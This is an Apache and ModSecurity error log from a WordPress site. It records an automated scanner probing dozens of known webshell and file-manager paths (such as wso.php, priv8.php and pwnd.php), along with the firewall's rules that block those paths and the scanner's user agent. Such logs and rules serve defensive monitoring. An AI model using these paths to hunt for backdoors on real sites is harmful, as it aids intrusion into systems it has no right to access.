[Sun Apr 19 02:54:56.476338 2026] [autoindex:error] [pid 41277:tid 41279] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/pullquote/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:54:59.992585 2026] [autoindex:error] [pid 41277:tid 41282] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/comments-pagination-numbers/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:11.101361 2026] [autoindex:error] [pid 41277:tid 41295] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:11.620424 2026] [autoindex:error] [pid 41277:tid 41297] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/post-terms/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:13.631777 2026] [autoindex:error] [pid 41277:tid 41282] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/dist/development/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:15.643932 2026] [autoindex:error] [pid 41277:tid 41288] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/sodium_compat/namespaced/Core/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:20.558422 2026] [autoindex:error] [pid 41277:tid 41293] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:27.008666 2026] [autoindex:error] [pid 41277:tid 41300] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/site-title/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:34.607644 2026] [autoindex:error] [pid 41277:tid 41288] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:39.512849 2026] [autoindex:error] [pid 41277:tid 41287] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 02:55:40.037684 2026] [autoindex:error] [pid 41277:tid 41294] [client 45.137.126.84:28479] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/uploads/2026/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 19 03:11:16.799178 2026] [:error] [pid 33517:tid 33523] [client 159.89.50.224:54438] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aePXVH4Zz-rubR1wiZ_CeQAAAMQ"]
[Sun Apr 19 03:16:08.783034 2026] [:error] [pid 33517:tid 33542] [client 43.155.140.157:46494] [client 43.155.140.157] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aePYeH4Zz-rubR1wiZ_DWAAAANc"]
[Sun Apr 19 03:17:01.717673 2026] [:error] [pid 32252:tid 32259] [client 172.98.33.62:47583] [client 172.98.33.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.62, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aePYreXl4Yc-Lt5fJ9i0NAAAAQU"]
[Sun Apr 19 04:01:58.474639 2026] [:error] [pid 40521:tid 40581] [client 81.169.202.222:57108] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aePjNkEtmklX8iswPrCdQAAAAZY"]
[Sun Apr 19 04:06:04.799250 2026] [:error] [pid 17507:tid 17521] [client 190.121.23.218:51454] [client 190.121.23.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.121.23.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aePkLKmOoWaZdkIIuliXKAAAAMw"]
[Sun Apr 19 05:23:03.960131 2026] [:error] [pid 47772:tid 47794] [client 217.217.250.228:59831] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aeP2N4c0L16cb4smAz-aTQAAAAU"]
[Sun Apr 19 05:23:04.370698 2026] [:error] [pid 15765:tid 15859] [client 217.217.250.228:59840] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dex.php"] [unique_id "aeP2OPRqinw-W5EwQ75_jAAAAoY"]
[Sun Apr 19 05:23:04.777763 2026] [:error] [pid 47773:tid 47832] [client 217.217.250.228:59845] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aeP2OOiBHdnCJDuPq9BMTQAAAFA"]
[Sun Apr 19 05:23:05.189367 2026] [:error] [pid 15693:tid 15716] [client 217.217.250.228:59850] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aeP2OcNMD-ccazQlTskU1gAAAVQ"]
[Sun Apr 19 05:23:05.615519 2026] [:error] [pid 47886:tid 47910] [client 217.217.250.228:59859] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "aeP2OUSe8yiyuPrD7yPo4QAAANY"]
[Sun Apr 19 05:23:06.194968 2026] [:error] [pid 15764:tid 15828] [client 217.217.250.228:59866] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "aeP2OmLL_sqdSHoVp-To8AAAAkI"]
[Sun Apr 19 05:23:06.604892 2026] [:error] [pid 47773:tid 47822] [client 217.217.250.228:59874] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "aeP2OuiBHdnCJDuPq9BMVQAAAEY"]
[Sun Apr 19 05:23:07.021095 2026] [:error] [pid 15760:tid 15787] [client 217.217.250.228:59879] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aeP2O_SdD_XHQMJ_ISsXIgAAAdM"]
[Sun Apr 19 05:23:07.429427 2026] [:error] [pid 47773:tid 47820] [client 217.217.250.228:59885] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "aeP2O-iBHdnCJDuPq9BMXQAAAEQ"]
[Sun Apr 19 05:23:07.832012 2026] [:error] [pid 47773:tid 47829] [client 217.217.250.228:59889] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "aeP2O-iBHdnCJDuPq9BMYgAAAE0"]
[Sun Apr 19 05:23:08.249830 2026] [:error] [pid 47773:tid 47840] [client 217.217.250.228:59893] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aeP2POiBHdnCJDuPq9BMZwAAAFg"]
[Sun Apr 19 05:23:09.080169 2026] [:error] [pid 47886:tid 47897] [client 217.217.250.228:59909] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "aeP2PUSe8yiyuPrD7yPo4gAAAMk"]
[Sun Apr 19 05:23:09.481143 2026] [:error] [pid 15760:tid 15780] [client 217.217.250.228:59917] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "aeP2PfSdD_XHQMJ_ISsXIwAAAcw"]
[Sun Apr 19 05:23:09.891801 2026] [:error] [pid 47772:tid 47795] [client 217.217.250.228:59922] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aeP2PYc0L16cb4smAz-aUAAAAAY"]
[Sun Apr 19 05:23:10.290934 2026] [:error] [pid 47772:tid 47813] [client 217.217.250.228:59930] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wso.php"] [unique_id "aeP2Poc0L16cb4smAz-aUQAAABg"]
[Sun Apr 19 05:23:10.713325 2026] [:error] [pid 15694:tid 15740] [client 217.217.250.228:59937] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/priv8.php"] [unique_id "aeP2PrimB-jol1fwqAq5mQAAAY4"]
[Sun Apr 19 05:23:11.124375 2026] [:error] [pid 15764:tid 15844] [client 217.217.250.228:59949] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "aeP2P2LL_sqdSHoVp-To8gAAAlI"]
[Sun Apr 19 05:23:11.540358 2026] [:error] [pid 15694:tid 15738] [client 217.217.250.228:59957] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "aeP2P7imB-jol1fwqAq5mgAAAYw"]
[Sun Apr 19 05:23:11.943528 2026] [:error] [pid 15760:tid 15783] [client 217.217.250.228:59961] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "aeP2P_SdD_XHQMJ_ISsXJAAAAc8"]
[Sun Apr 19 05:23:12.335041 2026] [:error] [pid 47886:tid 47892] [client 217.217.250.228:59969] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aeP2QESe8yiyuPrD7yPo7AAAAMQ"]
[Sun Apr 19 05:23:12.742096 2026] [:error] [pid 15764:tid 15826] [client 217.217.250.228:59973] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/upgrade//pdf.php"] [unique_id "aeP2QGLL_sqdSHoVp-To9AAAAkA"]
[Sun Apr 19 05:23:13.152437 2026] [:error] [pid 15764:tid 15837] [client 217.217.250.228:59981] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/init-help/init.php"] [unique_id "aeP2QWLL_sqdSHoVp-To9QAAAks"]
[Sun Apr 19 05:23:13.766348 2026] [:error] [pid 47886:tid 47908] [client 217.217.250.228:59988] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aeP2QUSe8yiyuPrD7yPo9QAAANQ"]
[Sun Apr 19 05:23:14.250745 2026] [:error] [pid 47773:tid 47816] [client 217.217.250.228:60005] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd-1/pwnd.php"] [unique_id "aeP2QuiBHdnCJDuPq9BMigAAAEA"]
[Sun Apr 19 05:23:14.643859 2026] [:error] [pid 47886:tid 47907] [client 217.217.250.228:60011] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/Core-Econ/upH.php"] [unique_id "aeP2QkSe8yiyuPrD7yPo-QAAANM"]
[Sun Apr 19 05:23:15.101991 2026] [:error] [pid 47886:tid 47905] [client 217.217.250.228:60017] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/envato-market/inc/class-envato-market-api.php"] [unique_id "aeP2Q0Se8yiyuPrD7yPo_AAAANE"]
[Sun Apr 19 05:23:15.514635 2026] [:error] [pid 47773:tid 47825] [client 217.217.250.228:60029] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/db.php"] [unique_id "aeP2Q-iBHdnCJDuPq9BMkQAAAEk"]
[Sun Apr 19 05:23:16.013582 2026] [:error] [pid 47775:tid 47857] [client 217.217.250.228:60034] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/newsfeed-theme/bbh.php"] [unique_id "aeP2RLmztjlk9tsmoexsPwAAAI4"]
[Sun Apr 19 05:23:16.569161 2026] [:error] [pid 47773:tid 47824] [client 217.217.250.228:60045] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/about.php"] [unique_id "aeP2ROiBHdnCJDuPq9BMlwAAAEg"]
[Sun Apr 19 05:23:17.040371 2026] [:error] [pid 47775:tid 47845] [client 217.217.250.228:60057] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/comment-content/index.php"] [unique_id "aeP2Rbmztjlk9tsmoexsQQAAAII"]
[Sun Apr 19 05:23:17.447342 2026] [:error] [pid 47775:tid 47866] [client 217.217.250.228:60066] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/paragraph/index.php"] [unique_id "aeP2Rbmztjlk9tsmoexsQgAAAJc"]
[Sun Apr 19 05:23:17.894480 2026] [:error] [pid 47773:tid 47839] [client 217.217.250.228:60070] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeP2ReiBHdnCJDuPq9BMoAAAAFc"]
[Sun Apr 19 05:23:18.293557 2026] [:error] [pid 47775:tid 47861] [client 217.217.250.228:60075] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/jga.php"] [unique_id "aeP2Rrmztjlk9tsmoexsRQAAAJI"]
[Sun Apr 19 05:23:18.710785 2026] [:error] [pid 47773:tid 47831] [client 217.217.250.228:60082] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.well-known/index.php"] [unique_id "aeP2RuiBHdnCJDuPq9BMpwAAAE8"]
[Sun Apr 19 05:23:19.111279 2026] [:error] [pid 15760:tid 15773] [client 217.217.250.228:60094] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/NewFile.php"] [unique_id "aeP2R_SdD_XHQMJ_ISsXJwAAAcU"]
[Sun Apr 19 05:23:19.500866 2026] [:error] [pid 15760:tid 15774] [client 217.217.250.228:60108] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php7"] [unique_id "aeP2R_SdD_XHQMJ_ISsXKAAAAcY"]
[Sun Apr 19 05:23:19.896350 2026] [:error] [pid 47773:tid 47829] [client 217.217.250.228:60113] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/baxa1.php"] [unique_id "aeP2R-iBHdnCJDuPq9BMrgAAAE0"]
[Sun Apr 19 05:23:20.304600 2026] [:error] [pid 15765:tid 15869] [client 217.217.250.228:60121] [client 217.217.250.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/heh.php"] [unique_id "aeP2SPRqinw-W5EwQ75_mAAAApA"]
